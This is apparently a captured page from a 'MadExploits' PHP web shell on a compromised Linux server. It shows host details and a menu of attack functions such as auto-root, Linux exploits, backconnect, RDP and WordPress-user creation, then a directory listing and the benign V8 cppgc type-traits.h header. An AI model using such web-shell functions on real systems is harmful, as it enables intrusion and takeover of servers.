Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.223.125.111
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
nodejs /
v20.11.1 /
include /
node /
cppgc /
[ HOME SHELL ]
Name
Size
Permission
Action
internal
[ DIR ]
drwxr-xr-x
allocation.h
11.61
KB
-rw-r--r--
common.h
643
B
-rw-r--r--
cross-thread-persistent.h
14.81
KB
-rw-r--r--
custom-space.h
2.4
KB
-rw-r--r--
default-platform.h
2.18
KB
-rw-r--r--
ephemeron-pair.h
804
B
-rw-r--r--
explicit-management.h
3.29
KB
-rw-r--r--
garbage-collected.h
3.11
KB
-rw-r--r--
heap-consistency.h
11.74
KB
-rw-r--r--
heap-handle.h
1.26
KB
-rw-r--r--
heap-state.h
2.57
KB
-rw-r--r--
heap-statistics.h
3.89
KB
-rw-r--r--
heap.h
5.7
KB
-rw-r--r--
liveness-broker.h
2.34
KB
-rw-r--r--
macros.h
1.31
KB
-rw-r--r--
member.h
22.75
KB
-rw-r--r--
name-provider.h
1.99
KB
-rw-r--r--
object-size-trait.h
1.6
KB
-rw-r--r--
persistent.h
13.5
KB
-rw-r--r--
platform.h
5.56
KB
-rw-r--r--
prefinalizer.h
2.88
KB
-rw-r--r--
process-heap-statistics.h
1009
B
-rw-r--r--
sentinel-pointer.h
935
B
-rw-r--r--
source-location.h
2.57
KB
-rw-r--r--
testing.h
2.96
KB
-rw-r--r--
trace-trait.h
3.14
KB
-rw-r--r--
type-traits.h
7.78
KB
-rw-r--r--
visitor.h
14.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : type-traits.h
// Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef INCLUDE_CPPGC_TYPE_TRAITS_H_ #define INCLUDE_CPPGC_TYPE_TRAITS_H_ // This file should stay with minimal dependencies to allow embedder to check // against Oilpan types without including any other parts. #include <cstddef> #include <type_traits> namespace cppgc { class Visitor; namespace internal { template <typename T, typename WeaknessTag, typename WriteBarrierPolicy, typename CheckingPolicy, typename StorageType> class BasicMember; struct DijkstraWriteBarrierPolicy; struct NoWriteBarrierPolicy; class StrongMemberTag; class UntracedMemberTag; class WeakMemberTag; // Not supposed to be specialized by the user. template <typename T> struct IsWeak : std::false_type {}; // IsTraceMethodConst is used to verify that all Trace methods are marked as // const. It is equivalent to IsTraceable but for a non-const object. template <typename T, typename = void> struct IsTraceMethodConst : std::false_type {}; template <typename T> struct IsTraceMethodConst<T, std::void_t<decltype(std::declval<const T>().Trace( std::declval<Visitor*>()))>> : std::true_type { }; template <typename T, typename = void> struct IsTraceable : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct IsTraceable< T, std::void_t<decltype(std::declval<T>().Trace(std::declval<Visitor*>()))>> : std::true_type { // All Trace methods should be marked as const. If an object of type // 'T' is traceable then any object of type 'const T' should also // be traceable. static_assert(IsTraceMethodConst<T>(), "Trace methods should be marked as const."); }; template <typename T> constexpr bool IsTraceableV = IsTraceable<T>::value; template <typename T, typename = void> struct HasGarbageCollectedMixinTypeMarker : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct HasGarbageCollectedMixinTypeMarker< T, std::void_t< typename std::remove_const_t<T>::IsGarbageCollectedMixinTypeMarker>> : std::true_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T, typename = void> struct HasGarbageCollectedTypeMarker : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct HasGarbageCollectedTypeMarker< T, std::void_t<typename std::remove_const_t<T>::IsGarbageCollectedTypeMarker>> : std::true_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T, bool = HasGarbageCollectedTypeMarker<T>::value, bool = HasGarbageCollectedMixinTypeMarker<T>::value> struct IsGarbageCollectedMixinType : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct IsGarbageCollectedMixinType<T, false, true> : std::true_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T, bool = HasGarbageCollectedTypeMarker<T>::value> struct IsGarbageCollectedType : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct IsGarbageCollectedType<T, true> : std::true_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct IsGarbageCollectedOrMixinType : std::integral_constant<bool, IsGarbageCollectedType<T>::value || IsGarbageCollectedMixinType<T>::value> { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T, bool = (HasGarbageCollectedTypeMarker<T>::value && HasGarbageCollectedMixinTypeMarker<T>::value)> struct IsGarbageCollectedWithMixinType : std::false_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename T> struct IsGarbageCollectedWithMixinType<T, true> : std::true_type { static_assert(sizeof(T), "T must be fully defined"); }; template <typename BasicMemberCandidate, typename WeaknessTag, typename WriteBarrierPolicy> struct IsSubclassOfBasicMemberTemplate { private: template <typename T, typename CheckingPolicy, typename StorageType> static std::true_type SubclassCheck( BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy, StorageType>*); static std::false_type SubclassCheck(...); public: static constexpr bool value = decltype(SubclassCheck(std::declval<BasicMemberCandidate*>()))::value; }; template <typename T, bool = IsSubclassOfBasicMemberTemplate< T, StrongMemberTag, DijkstraWriteBarrierPolicy>::value> struct IsMemberType : std::false_type {}; template <typename T> struct IsMemberType<T, true> : std::true_type {}; template <typename T, bool = IsSubclassOfBasicMemberTemplate< T, WeakMemberTag, DijkstraWriteBarrierPolicy>::value> struct IsWeakMemberType : std::false_type {}; template <typename T> struct IsWeakMemberType<T, true> : std::true_type {}; template <typename T, bool = IsSubclassOfBasicMemberTemplate< T, UntracedMemberTag, NoWriteBarrierPolicy>::value> struct IsUntracedMemberType : std::false_type {}; template <typename T> struct IsUntracedMemberType<T, true> : std::true_type {}; template <typename T> struct IsComplete { private: template <typename U, size_t = sizeof(U)> static std::true_type IsSizeOfKnown(U*); static std::false_type IsSizeOfKnown(...); public: static constexpr bool value = decltype(IsSizeOfKnown(std::declval<T*>()))::value; }; template <typename T, typename U> constexpr bool IsDecayedSameV = std::is_same_v<std::decay_t<T>, std::decay_t<U>>; template <typename B, typename D> constexpr bool IsStrictlyBaseOfV = std::is_base_of_v<std::decay_t<B>, std::decay_t<D>> && !IsDecayedSameV<B, D>; } // namespace internal /** * Value is true for types that inherit from `GarbageCollectedMixin` but not * `GarbageCollected<T>` (i.e., they are free mixins), and false otherwise. */ template <typename T> constexpr bool IsGarbageCollectedMixinTypeV = internal::IsGarbageCollectedMixinType<T>::value; /** * Value is true for types that inherit from `GarbageCollected<T>`, and false * otherwise. */ template <typename T> constexpr bool IsGarbageCollectedTypeV = internal::IsGarbageCollectedType<T>::value; /** * Value is true for types that inherit from either `GarbageCollected<T>` or * `GarbageCollectedMixin`, and false otherwise. */ template <typename T> constexpr bool IsGarbageCollectedOrMixinTypeV = internal::IsGarbageCollectedOrMixinType<T>::value; /** * Value is true for types that inherit from `GarbageCollected<T>` and * `GarbageCollectedMixin`, and false otherwise. */ template <typename T> constexpr bool IsGarbageCollectedWithMixinTypeV = internal::IsGarbageCollectedWithMixinType<T>::value; /** * Value is true for types of type `Member<T>`, and false otherwise. */ template <typename T> constexpr bool IsMemberTypeV = internal::IsMemberType<T>::value; /** * Value is true for types of type `UntracedMember<T>`, and false otherwise. */ template <typename T> constexpr bool IsUntracedMemberTypeV = internal::IsUntracedMemberType<T>::value; /** * Value is true for types of type `WeakMember<T>`, and false otherwise. */ template <typename T> constexpr bool IsWeakMemberTypeV = internal::IsWeakMemberType<T>::value; /** * Value is true for types that are considered weak references, and false * otherwise. */ template <typename T> constexpr bool IsWeakV = internal::IsWeak<T>::value; /** * Value is true for types that are complete, and false otherwise. */ template <typename T> constexpr bool IsCompleteV = internal::IsComplete<T>::value; } // namespace cppgc #endif // INCLUDE_CPPGC_TYPE_TRAITS_H_
Close